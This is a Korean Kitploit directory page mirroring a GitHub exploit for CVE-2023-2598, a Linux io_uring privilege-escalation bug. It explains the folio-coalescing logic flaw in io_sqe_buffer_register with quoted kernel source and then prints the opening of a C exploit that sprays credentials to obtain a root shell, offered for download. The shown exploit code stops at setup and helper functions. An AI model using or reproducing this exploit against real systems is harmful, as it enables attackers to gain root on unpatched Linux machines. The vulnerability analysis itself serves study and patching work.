Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-2598 — io_uring에 관한 CVE-2023-2598 악용 | Kitploit
도구/GitHubGitHub/spongebob-369/cve-2023-2598
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubspongebob-369/cve-2023-2598

CVE-2023-2598

io_uring에 관한 CVE-2023-2598 악용

저장소 보기
3191년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-2598

io_uring이란 무엇인가?

io_uring은 리눅스를 위한 시스템 콜 인터페이스입니다. 처음에는 read()와 write()만 지원했지만, 현재는 거의 모든 시스템 콜을 지원합니다. 이를 통해 애플리케이션은 비동기적으로 수행될 수 있는 시스템 콜을 시작할 수 있습니다.

제출 및 완료 큐

모든 io_uring 구현의 핵심에는 두 개의 링 버퍼가 있습니다. 제출 큐(SQ)와 완료 큐(CQ)입니다. 이 링 버퍼들은 애플리케이션과 커널 사이에서 공유됩니다.

io_uring_get_sqe를 통해 수행하려는 syscall을 설명하는 제출 큐 엔트리(SQE)를 얻을 수 있습니다. 그런 다음 애플리케이션은 io_uring_enter 시스템 콜을 수행하여 제출 큐에 처리 대기 중인 작업이 있음을 커널에 알립니다.

커널이 작업을 수행한 후에는 완료 큐 링 버퍼에 *Completion Queue Entry (CQE)*를 넣고, 애플리케이션이 이를 소비할 수 있습니다.

취약점

함수 io_sqe_buffer_register는 가상 페이지와 물리적 주소의 매핑을 구현합니다.

먼저 몇 가지 개념을 명확히 해야 합니다.

애플리케이션은 io_uring_register를 통해 버퍼에 대한 요청을 시작합니다. 호출 체인은 다음과 같습니다:

io_uring_register_buffers -> io_uring_register -> io_sqe_buffers_register

함수 io_sqe_buffers_register의 소스 코드는 다음과 같습니다:

int io_sqe_buffers_register(struct io_ring_ctx *ctx, void __user *arg,
			    unsigned int nr_args, u64 __user *tags)
{
	struct page *last_hpage = NULL;
	struct io_rsrc_data *data;
	int i, ret;
	struct iovec iov;

	BUILD_BUG_ON(IORING_MAX_REG_BUFFERS >= (1u << 16));

	if (ctx->user_bufs)
		return -EBUSY;
	if (!nr_args || nr_args > IORING_MAX_REG_BUFFERS)
		return -EINVAL;
	ret = io_rsrc_node_switch_start(ctx);
	if (ret)
		return ret;
	ret = io_rsrc_data_alloc(ctx, io_rsrc_buf_put, tags, nr_args, &data);
	if (ret)
		return ret;
	ret = io_buffers_map_alloc(ctx, nr_args);
	if (ret) {
		io_rsrc_data_free(data);
		return ret;
	}

	for (i = 0; i < nr_args; i++, ctx->nr_user_bufs++) {
		if (arg) {
			ret = io_copy_iov(ctx, &iov, arg, i);
			if (ret)
				break;
			ret = io_buffer_validate(&iov);
			if (ret)
				break;
		} else {
			memset(&iov, 0, sizeof(iov));
		}

		if (!iov.iov_base && *io_get_tag_slot(data, i)) {
			ret = -EINVAL;
			break;
		}

		ret = io_sqe_buffer_register(ctx, &iov, &ctx->user_bufs[i],
					     &last_hpage);
		if (ret)
			break;
	}

	WARN_ON_ONCE(ctx->buf_data);

	ctx->buf_data = data;
	if (ret)
		__io_sqe_buffers_unregister(ctx);
	else
		io_rsrc_node_switch(ctx, NULL);
	return ret;
}

이 함수에서 io_sqe_buffer_register로 진입하게 됩니다. 그리고 논리적 버그를 발견할 수 있습니다. 함수 io_sqe_buffer_register의 소스 코드는 다음과 같습니다:

static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
				  struct io_mapped_ubuf **pimu,
				  struct page **last_hpage)
{
	struct io_mapped_ubuf *imu = NULL;
	struct page **pages = NULL;
	unsigned long off;
	size_t size;
	int ret, nr_pages, i;
	struct folio *folio = NULL;

	*pimu = ctx->dummy_ubuf;
	if (!iov->iov_base)
		return 0;

	ret = -ENOMEM;
	pages = io_pin_pages((unsigned long) iov->iov_base, iov->iov_len,
				&nr_pages);
	if (IS_ERR(pages)) {
		ret = PTR_ERR(pages);
		pages = NULL;
		goto done;
	}

	/* If it's a huge page, try to coalesce them into a single bvec entry */
	if (nr_pages > 1) {
		folio = page_folio(pages[0]);
		for (i = 1; i < nr_pages; i++) {
			if (page_folio(pages[i]) != folio) {
				folio = NULL;
				break;
			}
		}
		if (folio) {
			folio_put_refs(folio, nr_pages - 1);
			nr_pages = 1;
		}
	}

	imu = kvmalloc(struct_size(imu, bvec, nr_pages), GFP_KERNEL);
	if (!imu)
		goto done;

	ret = io_buffer_account_pin(ctx, pages, nr_pages, imu, last_hpage);
	if (ret) {
		unpin_user_pages(pages, nr_pages);
		goto done;
	}

	off = (unsigned long) iov->iov_base & ~PAGE_MASK;
	size = iov->iov_len;
	/* store original address for later verification */
	imu->ubuf = (unsigned long) iov->iov_base;
	imu->ubuf_end = imu->ubuf + iov->iov_len;
	imu->nr_bvecs = nr_pages;
	*pimu = imu;
	ret = 0;

	if (folio) {
		bvec_set_page(&imu->bvec[0], pages[0], size, off);
		goto done;
	}
	for (i = 0; i < nr_pages; i++) {
		size_t vec_len;

		vec_len = min_t(size_t, size, PAGE_SIZE - off);
		bvec_set_page(&imu->bvec[i], pages[i], vec_len, off);
		off = 0;
		size -= vec_len;
	}
done:
	if (ret)
		kvfree(imu);
	kvfree(pages);
	return ret;
}

여기서 중요한 몇 가지 점만 언급하겠습니다.

  1. imu는 가상 주소/페이지를 의미합니다.
  2. page는 물리적 주소/페이지를 의미합니다.
  3. folio는 물리적으로 연속된 많은 페이지들을 의미하며, 함수가 호출될 때 매개변수에 페이지가 포함되어 있지만 이 페이지가 연속된 페이지 범위에 속하는지, 전체 페이지를 사용할지 단일 페이지를 사용할지 확실하지 않은 상황을 방지합니다.
  4. struct iovec -> 단순히 버퍼의 시작 주소와 길이를 설명하는 구조체입니다. 그 이상도 이하도 아닙니다.
  5. io_mapped_ubuf는 io_uring 인스턴스에 등록된 버퍼에 대한 정보를 담고 있는 구조체입니다.
struct io_mapped_ubuf {
	u64		ubuf; // 버퍼가 시작되는 주소
	u64		ubuf_end; // 버퍼가 끝나는 주소
	unsigned int	nr_bvecs; // 버퍼를 주소 지정하는 데 필요한 bio_vec의 개수
	unsigned long	acct_pages;
	struct bio_vec	bvec[]; // bio_vec 배열
};

멤버 bio_vec는 물리적 메모리를 위한 iovec와 같은 구조체입니다.

...
/* 만약 거대 페이지라면, 단일 bvec 엔트리로 합치려고 시도 */
	if (nr_pages > 1) { // 페이지가 두 개 이상인 경우
		folio = page_folio(pages[0]); // page를 folio로 변환
		// 이 페이지를 포함하는 folio를 반환
		for (i = 1; i < nr_pages; i++) {
			if (page_folio(pages[i]) != folio) { // 다른 folio -> 물리적으로 연속되지 않음
				folio = NULL; // 단일 엔트리로 합칠 수 없으므로 folio를 NULL로 설정
				break;
			}
		}
		if (folio) { // 모든 페이지가 동일한 folio에 속하는 경우
			folio_put_refs(folio, nr_pages - 1); 
			nr_pages = 1; // 단일 folio 페이지로 표현 가능하므로 nr_pages를 1로 설정
		}
	}
...

페이지가 동일한 folio에서 왔는지 확인하는 코드는 실제로 페이지가 연속적인지 확인하지 않습니다. 동일한 페이지가 여러 번 매핑될 수 있습니다. 반복 중에 page_folio(page)는 계속해서 동일한 folio를 반환하여 검사를 통과하게 됩니다. 이것은 명백한 논리적 버그입니다. io_sqe_buffer_register를 계속 살펴보고 결과가 무엇인지 알아보겠습니다.

...
	imu = kvmalloc(struct_size(imu, bvec, nr_pages), GFP_KERNEL); 
	// nr_pages 개의 bio_vec을 위한 배열로 imu 할당
	// bio_vec - 물리적 메모리 주소의 연속된 범위
	// 각 (물리적) 페이지에 대해 하나의 bio_vec이 필요
    // folio의 경우 - bio_vec 배열 크기는 1
	if (!imu)
		goto done;

	ret = io_buffer_account_pin(ctx, pages, nr_pages, imu, last_hpage);
	if (ret) {
		unpin_user_pages(pages, nr_pages);
		goto done;
	}

	off = (unsigned long) iov->iov_base & ~PAGE_MASK;
	size = iov->iov_len; // 사용자가 전달한 값으로 크기 설정!
	/* 원래 주소를 나중에 검증하기 위해 저장 */
	imu->ubuf = (unsigned long) iov->iov_base; // 사용자 제어 가능
	imu->ubuf_end = imu->ubuf + iov->iov_len; // 길이를 기준으로 끝 계산
	imu->nr_bvecs = nr_pages; // folio의 경우 1이 됨
	*pimu = imu;
	ret = 0;

	if (folio) { // folio의 경우 - 단일 bio_vec만 필요 (효율적!)
		bvec_set_page(&imu->bvec[0], pages[0], size, off);
		goto done;
	}
	for (i = 0; i < nr_pages; i++) { 
		size_t vec_len;

		vec_len = min_t(size_t, size, PAGE_SIZE - off);
		bvec_set_page(&imu->bvec[i], pages[i], vec_len, off);
		off = 0;
		size -= vec_len;
	}
done:
	if (ret)
		kvfree(imu);
	kvfree(pages);
	return ret;
}

nr_pages = 1이므로 단일 bio_vec이 할당됩니다. pimu->iov_len과 pimu->bvec[0].bv_len에 기록되는 버퍼의 크기는 사용자가 iov->iov_len으로 전달한 것입니다.

Exploit

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <liburing.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sched.h>
#include <string.h>

#define CRED_DRAIN 100 // cred 캐시 수정을 기다리는 대기 시간
#define CRED_SPRAY 2000 // 스프레이할 clone 수
#define PAGE_SIZE 0x1000 // 메모리 페이지 크기
#define MAX_PAGES 100 // 할당할 최대 페이지 수

struct timespec timer = {
    .tv_sec = 1145141919,
    .tv_nsec = 0,
};

#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char child_pipe_buf[1];
// char root_str[] = "Finally get root privilege!\n";
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
                  "\033[34m[*] Execve root shell now...\033[0m\n";

char *shell_args[] = { bin_sh_str, NULL };

void err_exit(char *buf){
    fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
    exit(-1);
}

void check_ret(int ret,char* buf){
    if(ret < 0){
        err_exit(buf);
    }
}
도구 다운로드